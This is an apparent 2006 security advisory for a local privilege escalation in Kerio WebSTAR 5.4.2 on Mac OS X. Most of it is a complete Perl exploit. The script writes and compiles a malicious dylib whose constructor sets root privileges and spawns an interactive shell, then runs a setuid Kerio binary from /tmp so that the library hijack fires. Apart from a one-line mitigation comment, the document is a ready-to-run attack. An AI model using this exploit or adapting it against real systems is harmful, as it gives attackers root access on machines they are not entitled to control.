[EXPL] Kerio WebSTAR Local Privilege Escalation (Exploit)
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- Date: 16 Nov 2006 14:53:34 +0200
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Kerio WebSTAR Local Privilege Escalation (Exploit)
------------------------------------------------------------------------
SUMMARY
"Kerio WebSTAR is an easy-to-use web server for Mac OS X. Acquired in
January 2006 from 4D, Kerio WebSTAR 5 (formerly known as 4D WebSTAR Server
Suite) helps small companies run Internet and intranet websites and
integrate them with databases."
If an attacker is able to gain access to either the webstar user or the
admin group, he or she may be able to execute code as root .
DETAILS
Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# you must have access to the webstar user or be in the admin group
#
# This is currently not patched... chmod -s your kerio binaries
foreach $key (keys %ENV) {
delete $ENV{$key};
}
$tgts{"0"} = "kerio-webstar-5.4.2-mac.bin -
WSAdminServer:/Applications/Kerio WebSTAR/AdminServer/WSAdminServer";
$tgts{"1"} = "kerio-webstar-5.4.2-mac.bin -
WSWebServer:/Applications/Kerio WebSTAR/WebServer/WSWebServer";
unless (($target) = @ARGV) {
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";
foreach $key (sort(keys %tgts)) {
($a,$b) = split(/\:/,$tgts{"$key"});
print "\t$key . $a\n";
}
print "\n";
exit 1;
}
$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Binary: $b\n";
open(KP,">/tmp/kerio_pwn.c");
printf KP "extern char * argv; __attribute__((constructor)) static void
kerio_pwned()\n";
printf KP "{ seteuid(0); setegid(0); setuid(0); setgid(0);
system(\"/bin/sh -i\"); exit(0); }\n";
system("gcc -dynamiclib -o /tmp/libucache.dylib /tmp/kerio_pwn.c
-current_version 5.0.1 -compatibility_version 5.0.1 -install_name
libucache.5.dylib");
system("cd /tmp; \"$b\"");
ADDITIONAL INFORMATION
The information has been provided by:
<mailto:kf_lists[at]digitalmunition[dot]com> kf.
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